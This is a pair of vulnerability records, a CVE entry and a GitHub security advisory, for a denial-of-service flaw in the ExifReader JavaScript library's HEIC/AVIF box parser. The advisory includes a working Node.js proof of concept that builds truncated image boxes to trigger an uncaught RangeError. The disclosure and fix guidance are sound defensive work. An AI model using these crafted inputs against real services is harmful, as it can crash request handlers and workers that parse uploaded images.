{
  "affected": [
    {
      "affectedData": [
        {
          "product": "ExifReader",
          "vendor": "mattiasw",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.40.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "ExifReader is a JavaScript Exif information parser. Prior to 4.40.1, ExifReader.load() and the asynchronous file and URL loaders can pass attacker-supplied HEIC or AVIF data to the ISO-BMFF parser in src/image-header-iso-bmff.js, where findMetaBox() and parseBox() accept an eight-byte box header without confirming that fields required by the parsed box remain in the DataView. A valid ftyp box followed by an empty free or unknown box can cause an unchecked full-box version read, while a truncated extended-size box can make getBoxLength() and hasEmptyHighBits() read absent size fields. The resulting RangeError escapes the main parsing path and can abort an application request or worker when parse errors are not defensively caught, causing denial of service. This issue is fixed in version 4.40.1."
    }
  ],
  "id": "CVE-2026-53496",
  "lastModified": "2026-09-14T17:17:46.213",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-14T17:17:46.213",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mattiasw/ExifReader/commit/00878ca9df0e26480dda7a931c888048c9f7be45"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mattiasw/ExifReader/releases/tag/v4.40.1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-g77h-45rf-hcx4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-248"
        },
        {
          "lang": "en",
          "value": "CWE-755"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.40.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "exifreader"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.40.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53496"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-755"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-17T20:19:39Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nExifReader 4.40.0 can throw an uncaught `RangeError: Offset is outside the bounds of the DataView` while parsing crafted HEIC/AVIF files. The file only needs a valid leading `ftyp` box with a HEIC/AVIF major brand followed by a malformed ISO-BMFF box, such as an empty 8-byte `free` box or a truncated extended-size box.\n\nThis is reachable through the public `ExifReader.load()` API for in-memory buffers and through the async file/URL loaders when an application parses attacker-supplied images. In applications that do not wrap every parse in a defensive try/catch, a single uploaded or fetched image can abort the request/worker and cause a denial of service.\n\nCredit requested: Yaohui Wang.\n\n## Affected version tested\n\n- npm package: `exifreader`\n- Version: `4.40.0`\n- Repository commit tested: `8cb0261a26b7d986955fe0a6780f076dcb7902e7`\n\n## Root cause\n\nThe ISO-BMFF parser assumes that every top-level box with at least an 8-byte header also has enough bytes for the fields required by its parsed form. In `src/image-header-iso-bmff.js`:\n\n- `findMetaBox()` calls `parseBox(dataView, offset)` while only checking that `offset + 8 \u003c= dataView.byteLength`.\n- `parseBox()` calls `getBoxLength()` and then unconditionally reads fields such as the full-box version byte for `meta`/`iloc`/`iinf`/`idat` boxes.\n- `getBoxLength()` handles `boxLength === 1` by calling `hasEmptyHighBits(dataView, offset)`, which reads `dataView.getUint32(offset + 8)` without first checking that the 64-bit extended size field is present.\n\nAs a result, syntactically small or truncated boxes after a valid HEIC/AVIF `ftyp` box escape the format-detection catch blocks and throw from the main parsing path.\n\n## Reproduction\n\nRun this from the repository root against the committed `dist/exif-reader.js` bundle:\n\n```js\nconst ExifReader = require(\u0027./dist/exif-reader.js\u0027);\n\nfunction u32be(n) {\n  return [(n \u003e\u003e\u003e 24) \u0026 255, (n \u003e\u003e\u003e 16) \u0026 255, (n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction ascii(s) {\n  return Array.from(Buffer.from(s, \u0027ascii\u0027));\n}\nfunction box(type, content = []) {\n  return [...u32be(8 + content.length), ...ascii(type), ...content];\n}\n\nfor (const brand of [\u0027heic\u0027, \u0027avif\u0027]) {\n  for (const badBox of [\u0027free\u0027, \u0027abcd\u0027]) {\n    const bytes = Uint8Array.from([\n      ...box(\u0027ftyp\u0027, ascii(brand)),\n      ...box(badBox), // 8-byte box header with no content\n    ]);\n\n    try {\n      ExifReader.load(bytes.buffer);\n      console.log(`${brand}/${badBox}: no throw`);\n    } catch (e) {\n      console.log(`${brand}/${badBox}: ${e.name}: ${e.message}`);\n      console.log(String(e.stack).split(\u0027\\n\u0027).slice(0, 6).join(\u0027\\n\u0027));\n    }\n  }\n}\n```\n\nObserved output on Node v23.11.0 with ExifReader 4.40.0:\n\n```text\nheic/free: RangeError: Offset is outside the bounds of the DataView\nRangeError: Offset is outside the bounds of the DataView\n    at DataView.prototype.getUint8 (\u003canonymous\u003e)\n    at parseBox (.../dist/exif-reader.js:1:16513)\n    at findMetaBox (.../dist/exif-reader.js:1:19032)\n    at findOffsets (.../dist/exif-reader.js:1:19101)\n\nheic/abcd: RangeError: Offset is outside the bounds of the DataView\navif/free: RangeError: Offset is outside the bounds of the DataView\navif/abcd: RangeError: Offset is outside the bounds of the DataView\n```\n\nA second variant triggers the extended-size path:\n\n```js\nconst truncatedExtendedBox = [...u32be(1), ...ascii(\u0027free\u0027)];\nconst heic = Uint8Array.from([...box(\u0027ftyp\u0027, ascii(\u0027heic\u0027)), ...truncatedExtendedBox]);\nExifReader.load(heic.buffer);\n```\n\nThat throws from `hasEmptyHighBits()` / `getBoxLength()` because the extended-size high/low fields are not present.\n\n## Expected behavior\n\nMalformed/truncated metadata boxes should be handled like other malformed metadata in the project: return only the successfully parsed file type/metadata, return no app markers, or throw a controlled project-specific error. A safe JavaScript bounds error should not escape from the parser for an attacker-controlled image container.\n\n## Security impact\n\nThis is a denial-of-service issue for services that parse user-provided HEIC/AVIF files with ExifReader. A minimal attacker-controlled image buffer can cause an unhandled exception in the parser and abort the surrounding request/worker if the embedding application does not catch every parse error.\n\nSuggested severity: Medium. Suggested CVSS: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`.\n\n## Suggested fix\n\nAdd explicit bounds checks before every `DataView` read in the ISO-BMFF box parser, especially:\n\n- before reading the 64-bit extended size fields in `getBoxLength()`;\n- before reading the full-box version byte in `parseBox()`;\n- before descending into `parseSubBoxes()` when a declared box length exceeds available bytes;\n- ensure `findMetaBox()` breaks on boxes whose declared length is invalid or not fully present.\n\nA regression test should cover `ftyp/heic` and `ftyp/avif` followed by an 8-byte empty `free`/unknown box and by a truncated extended-size box.",
  "id": "GHSA-g77h-45rf-hcx4",
  "modified": "2026-07-17T20:19:39Z",
  "published": "2026-07-17T20:19:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-g77h-45rf-hcx4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattiasw/ExifReader"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/releases/tag/v4.40.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ExifReader HEIC/AVIF ISO-BMFF parser throws uncaught RangeError on truncated boxes"
}